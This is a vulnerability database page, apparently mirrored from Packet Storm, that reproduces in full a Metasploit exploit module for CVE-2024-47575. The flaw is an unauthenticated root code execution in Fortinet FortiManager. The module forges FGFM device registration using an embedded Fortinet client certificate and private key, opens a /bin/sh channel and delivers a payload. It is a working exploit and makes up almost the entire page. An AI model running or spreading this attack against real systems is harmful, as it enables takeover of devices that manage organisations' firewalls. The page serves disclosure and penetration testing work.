Lucene search
K

Fortinet FortiManager Unauthenticated Remote Code Execution

🗓️ 03 Dec 2024 00:00:00Reported by sfewer-r7, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 389 Views

Fortinet FortiManager Unauthenticated Remote Code Execution with root privileges. Vulnerable versions include 7.6.0, 7.4.0 through 7.4.4, 7.2.0 through 7.2.7, 7.0.0 through 7.0.12, 6.4.0 through 6.4.14, 6.2.0 through 6.2.12, and Cloud versions. Exploit allows unauthenticated RCE

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Fortinet FortiManager Unauthenticated RCE',  
'Description' => %q{  
This module exploits a missing authentication vulnerability affecting FortiManager and FortiManager  
Cloud devices to achieve unauthenticated RCE with root privileges.  
  
The vulnerable FortiManager versions are:  
* 7.6.0  
* 7.4.0 through 7.4.4  
* 7.2.0 through 7.2.7  
* 7.0.0 through 7.0.12  
* 6.4.0 through 6.4.14  
* 6.2.0 through 6.2.12  
  
The vulnerable FortiManager Cloud versions are:  
* 7.4.1 through 7.4.4  
* 7.2.1 through 7.2.7  
* 7.0.1 through 7.0.12  
* 6.4 (all versions).  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'sfewer-r7', # MSF Exploit & Rapid7 Analysis  
],  
'References' => [  
['CVE', '2024-47575'],  
# AttackerKB Rapid7 Analysis.  
['URL', 'https://attackerkb.com/topics/OFBGprmpIE/cve-2024-47575/rapid7-analysis'],  
# Bishop Fox details certificate requirements for connecting to the FGFM service.  
['URL', 'https://bishopfox.com/blog/a-look-at-fortijump-cve-2024-47575'],  
# Vendor Advisory.  
['URL', 'https://fortiguard.fortinet.com/psirt/FG-IR-24-423']  
],  
'DisclosureDate' => '2024-10-23',  
'Platform' => %w[unix linux],  
'Arch' => [ARCH_CMD],  
'Privileged' => true, # Code execution as 'root'  
'DefaultOptions' => {  
'RPORT' => 541,  
'SSL' => true,  
'FETCH_WRITABLE_DIR' => '/tmp'  
},  
'Targets' => [ [ 'Default', {} ] ],  
'DefaultTarget' => 0,  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [IOC_IN_LOGS]  
}  
)  
)  
  
register_options(  
[  
# The exploit provides a suitable client certificate/key pair by default, however we can let a user configure  
# a different certificate/key pair to use if they want. The user can also override the serial number and  
# platform if needed, but the exploit will try to detect the serial number and platform from the certificate  
# by default.  
OptPath.new('ClientCert', [false, 'A file path to an x509 cert, signed by Fortinet, with a serial number in the CN']),  
OptPath.new('ClientKey', [false, 'A file path to the corresponding private key for the ClientCert.']),  
OptString.new('ClientSerialNumber', [false, 'If set, use this serial number instead of extracting one from the ClientCert.']),  
OptString.new('ClientPlatform', [false, 'If set, use this platform instead of determining the platform at runtime.'])  
]  
)  
end  
  
def check  
fgfm_sock = make_socket  
  
peer_cert = OpenSSL::X509::Certificate.new(fgfm_sock.peer_cert)  
  
fgfm_sock.close  
  
organization = get_cert_subject_item(peer_cert, 'O')  
  
common_name = get_cert_subject_item(peer_cert, 'CN')  
  
# Detect that the target is a Fortinet FortiManager, by inspecting the certificate the server is using.  
# We look for an organization (O) of 'Fortinet', and a common name (CN) that starts with a FortiManager serial  
# number identifier.  
return CheckCode::Detected('Detected Fortinet FortiManager') if organization == 'Fortinet' && common_name&.start_with?('FMG')  
  
CheckCode::Unknown  
end  
  
def exploit  
client_cert_raw = datastore['ClientCert'] ? File.binread(datastore['ClientCert']) : get_client_cert  
  
client_cert = OpenSSL::X509::Certificate.new(client_cert_raw)  
  
common_name = get_cert_subject_item(client_cert, 'CN')  
  
fail_with(Failure::BadConfig, 'No common name in client certificate subject') unless common_name  
  
print_status("Client certificate common name: #{common_name}")  
  
serial_number = 'FMG-VM0000000000'  
platform = 'FortiManager-VM64'  
  
# The platform needs to be the expected type of the corresponding serial number. We try to match these up here,  
# and we allow for the automatic detection to be overridden by the ClientSerialNumber and ClientPlatform options  
# in case it is needed.  
if common_name.start_with? 'FMG'  
serial_number = common_name  
platform = 'FortiManager-VM64'  
elsif common_name.start_with? 'FG'  
serial_number = common_name  
platform = 'FortiGate-VM64'  
else  
print_warning('Client certificate does not include a serial number in the common name. The target must be configured to accept a certificate like this.')  
end  
  
serial_number = datastore['ClientSerialNumber'] if datastore['ClientSerialNumber']  
  
platform = datastore['ClientPlatform'] if datastore['ClientPlatform']  
  
print_status("Using client serial number '#{serial_number}' and platform '#{platform}'.")  
  
print_status('Connecting...')  
  
fgfm_sock = make_socket  
  
fail_with(Failure::UnexpectedReply, 'Connection failed.') unless fgfm_sock  
  
print_status('Registering device...')  
  
req1 = "get auth\r\nserialno=#{serial_number}\r\nplatform=#{platform}\r\nhostname=localhost\r\n\r\n\x00"  
  
resp1 = send_packet(fgfm_sock, req1)  
  
unless resp1&.include?('reply 200')  
fail_with(Failure::UnexpectedReply, 'Request 1 failed: No reply 200.')  
end  
  
print_status('Creating channel...')  
  
req2 = "get connect_tcp\r\ntcp_port=rsh\r\nchan_window_sz=#{32 * 1024}\r\nterminal=1\r\ncmd=/bin/sh\r\nlocalid=0\r\n\r\n\x00"  
  
resp2 = send_packet(fgfm_sock, req2)  
  
unless resp2&.include?('action=ack')  
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No ack.')  
end  
  
localid = resp2.match(/localid=(\d+)/)  
unless localid  
fail_with(Failure::UnexpectedReply, 'Request 2 failed: No localid found.')  
end  
  
print_status('Triggering...')  
  
req3 = "channel\r\nremoteid=#{localid[1]}\r\n\r\n\x00" + payload.encoded.length.to_s + "\n" + payload.encoded + "0\n"  
  
send_packet(fgfm_sock, req3, read: false)  
end  
  
# We create a TCP socket like this as we want to control how we specify the client certificate/key pair, which may  
# either be a file path, or a blob of text.  
def make_socket  
hash = {  
'Proto' => 'tcp',  
'PeerHost' => datastore['RHOST'],  
'PeerPort' => datastore['RPORT'],  
'SSL' => true,  
'SSLVerifyMode' => 'NONE',  
'Context' =>  
{  
'Msf' => framework,  
'MsfExploit' => self  
}  
}  
  
hash['SSLClientCert'] = datastore['ClientCert'] if datastore['ClientCert']  
  
hash['SSLClientKey'] = datastore['ClientKey'] if datastore['ClientKey']  
  
params = Rex::Socket::Parameters.from_hash(hash)  
  
params.ssl_client_cert = get_client_cert unless datastore['ClientCert']  
  
params.ssl_client_key = get_client_key unless datastore['ClientKey']  
  
fgfm_sock = Rex::Socket::Tcp.create_param(params)  
  
# Register our new socket, so that abort_sockets will close this socket after the payload handler  
# has caught the session (or until WfSDelay timesout). This avoids us having to introduce a separate timeout  
# in the exploit method, before we manually close the socket and then try to catch the session. We want to keep  
# the socket open until we have a session, as closing the socket too quickly can prevent the payload command  
# we transmit over the FGFM channel on this socket from executing.  
add_socket(fgfm_sock)  
  
fgfm_sock  
end  
  
def send_packet(fgfm_sock, data, read: true)  
packet = [0x36E01100, data.length + 8].pack('NN')  
  
packet += data  
  
fgfm_sock.write(packet)  
  
return nil unless read  
  
header = fgfm_sock.read(8)  
  
unless header  
print_error('Failed to read an FGFM header')  
return nil  
end  
  
magic, len = header.unpack('NN')  
  
unless magic == 0x36E01100  
print_error('Bad magic value in FGFM header')  
return nil  
end  
  
unless len >= 8  
print_error('Bad length value in FGFM header')  
return nil  
end  
  
fgfm_sock.read(len - 8)  
end  
  
def get_cert_subject_item(cert, type)  
cert.subject.to_a.each do |item|  
return item[1] if item[0] == type  
end  
nil  
end  
  
=begin  
An x509 certificate from an unregistered FortiManager trial VM, located at /etc/cert/local/ on the device, with a  
serial number of FMG-VM0000000000 and a platform of FortiManager-VM64.  
  
$ sha1sum Fortinet_Local2.cer  
9fad50dace25e68694e028f628282b1194ec58a1 Fortinet_Local2.cer  
$ sha1sum Fortinet_Local2.key  
d006e298df00450973e22c74726404d841db9874 Fortinet_Local2.key  
$ openssl x509 -noout -text -in Fortinet_Local2.cer  
Certificate:  
Data:  
Version: 3 (0x2)  
Serial Number: 405822 (0x6313e)  
Signature Algorithm: sha256WithRSAEncryption  
Issuer: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = Certificate Authority, CN = support, emailAddress = [email protected]  
Validity  
Not Before: Nov 10 21:14:26 2017 GMT  
Not After : Jan 19 03:14:07 2038 GMT  
Subject: C = US, ST = California, L = Sunnyvale, O = Fortinet, OU = FortiManager, CN = FMG-VM0000000000, emailAddress = [email protected]  
=end  
def get_client_cert  
"-----BEGIN CERTIFICATE-----  
MIIDzDCCArSgAwIBAgIDBjE+MA0GCSqGSIb3DQEBCwUAMIGgMQswCQYDVQQGEwJV  
UzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREwDwYD  
VQQKEwhGb3J0aW5ldDEeMBwGA1UECxMVQ2VydGlmaWNhdGUgQXV0aG9yaXR5MRAw  
DgYDVQQDEwdzdXBwb3J0MSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRpbmV0  
LmNvbTAeFw0xNzExMTAyMTE0MjZaFw0zODAxMTkwMzE0MDdaMIGgMQswCQYDVQQG  
EwJVUzETMBEGA1UECBMKQ2FsaWZvcm5pYTESMBAGA1UEBxMJU3Vubnl2YWxlMREw  
DwYDVQQKEwhGb3J0aW5ldDEVMBMGA1UECxMMRm9ydGlNYW5hZ2VyMRkwFwYDVQQD  
ExBGTUctVk0wMDAwMDAwMDAwMSMwIQYJKoZIhvcNAQkBFhRzdXBwb3J0QGZvcnRp  
bmV0LmNvbTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAMcgGzRlTTeV  
jIcE8D7z7Vnp6LKDcGE57VL4qs1fOxvTrK2j7vWbVMHSsOpf8taAAm55qmqeS//w  
oCJQq3t5mmq1M6MHm2nom6Q+dObcsfhieLrIFwp9X1Xt9YHKQd5qOR5PysrMhFKd  
pwMJfmlzuWWcIUeilgecP6eq9GS50gu4m+0NK0d3LTsmWz1jLNC3k74fYwYDsaPn  
hl/tsxcqZWrYHUHJhH5ep8YAxE6Eo2JG67BXOI/JbxrWPEh+zRLqA7ZrWeBPl0AE  
IXTK+SIBJTW0dpnxEcG6wBQQxCp8jZ+RlaFpKjBdYucDVTDtkLabvetOrAn+mjcR  
utg6NHlptSECAwEAAaMNMAswCQYDVR0TBAIwADANBgkqhkiG9w0BAQsFAAOCAQEA  
l265IvoXNxpTJEWdYwYvjAFdaueBk349ApvriQmsPdAJmhFgF4U8l6PI/kBPVYCg  
zP0EA1zImHwLFkzlCVtMtzhuUY3h2ZIUEhYwX0xEf5Kay2XHicWAwugQ0k/QDmiv  
w7/w7UTiwPaMLroEcjRbH8T4TLCXBdKsgXYW+t72CSA8MJDSug8o2yABom6XKlXl  
35mD93BrFkbxhhAiCrrC63byX7XTuXTyrP1dO9Qi9aSPWrIbi2SV+SjTLhP0n1bd  
ikVOHNNreyhQRlRjguPrW0P2Xqjbecgp98tdRyoOSr9sF5Qo5TKdvIwUFClFgsy+  
7pactwTnQmwhvlLQ7Z/dOg==  
-----END CERTIFICATE-----"  
end  
  
def get_client_key  
"-----BEGIN PRIVATE KEY-----  
MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQDHIBs0ZU03lYyH  
BPA+8+1Z6eiyg3BhOe1S+KrNXzsb06yto+71m1TB0rDqX/LWgAJueapqnkv/8KAi  
UKt7eZpqtTOjB5tp6JukPnTm3LH4Yni6yBcKfV9V7fWBykHeajkeT8rKzIRSnacD  
CX5pc7llnCFHopYHnD+nqvRkudILuJvtDStHdy07Jls9YyzQt5O+H2MGA7Gj54Zf  
7bMXKmVq2B1ByYR+XqfGAMROhKNiRuuwVziPyW8a1jxIfs0S6gO2a1ngT5dABCF0  
yvkiASU1tHaZ8RHBusAUEMQqfI2fkZWhaSowXWLnA1Uw7ZC2m73rTqwJ/po3EbrY  
OjR5abUhAgMBAAECggEAcIXaGa+tBN4DfUDzKf/ZflfJ4SaZWLfNPne6vTc1RbJG  
ABGFNVFDggu3YZo6ta+8sAUcogc11zl4pCuF286Jzgb7WQMxdZW2bgfFM7g+8adj  
pdjv/EOAniRL+b37nt3TzSc154fOtojUGclBoAF/IMYroDlmIoLPDcZzOIAxC+GU  
BCkCh/a3AFnhkkym0IGx4i89ji+nxcY5vEqD4n4Q49gkebxjmTVBq7YEU2YwOsbT  
0BO9jmYKE0wumetNpYJsR2qVI7dUmJMNdcEah/A9ODqMM2BJUxovW8XgR9wOIXN2  
3aWwmPeAtTnVhvBaHJL/ItGOGjmdcM1pwChowCWj4QKBgQD5EMo2A9+qeziSt3Ve  
nmD1o7zDyGAe0bGLN4rIou6I/Zz8p7ckRYIAw2HhmsE2C2ZF8OS9GWmsu23tnTBl  
DQTj1fSquw1cjLxUgwTkLUF7FTUBrxLstYSz1EJSzd8+V8mLI3bXriq8yFVK7z8y  
jFBB3BqkqUcBjIWFAMDvWoyJtQKBgQDMq15o9bhWuR7rGTvzhDiZvDNemTHHdRWz  
6cxb4d4TWsRsK73Bv1VFRg/SpDTg88kV2X8wqt7yfR2qhcyiAAFJq9pflG/rUSp6  
KvNbcXW7ys+x33x+MkZtbSh8TJ3SP9IoppawB/SP/p2YxkdgjPF/sllPEAkgHznW  
Gwk5jxRxPQKBgQDQAKGfcqS8b6PTg7tVhddbzZ67sv/zPRSVO5F/9fJYHdWZe0eL  
1zC3CnUYQHHTfLmw93lQI4UJaI5pvrjH65OF4w0t+IE0JaSyv6i6FsF01UUrXtbj  
MMTemgm5tY0XN6FtvfRmM2IlvvjcV+njgSMVnYfytBxEwuJPLU3zlx9/cQKBgQDB  
2GEPugLAqI6fDoRYjNdqy/Q/WYrrJXrLrtkuAQvreuFkrj0IHuZtOQFNeNbYZC0E  
871iY8PLGTMayaTZnnWZyBmIwzcJQhOgJ8PbzOc8WMdD6a6oe4d2ppdcutgTRP0Q  
IU/BI5e/NeEfzFPYH0Wvs0Sg/EgYU1rc7ThceqZa5QKBgQCf18PRZcm7hVbjOn9i  
BFpFMaECkVcf6YotgQuUKf6uGgF+/UOEl6rQXKcf1hYcSALViB6M9p5vd65FHq4e  
oDzQRBEPL86xtNfQvbaIqKTalFDv4ht7DlF38BQx7MAlJQwuljj1hrQd9Ho+VFDu  
Lh1BvSCTWFh0WIUxOrNlmlg1Uw==  
-----END PRIVATE KEY-----"  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Dec 2024 00:00Current
7.2High risk
Vulners AI Score7.2
CVSS 3.19.8
EPSS0.93874
389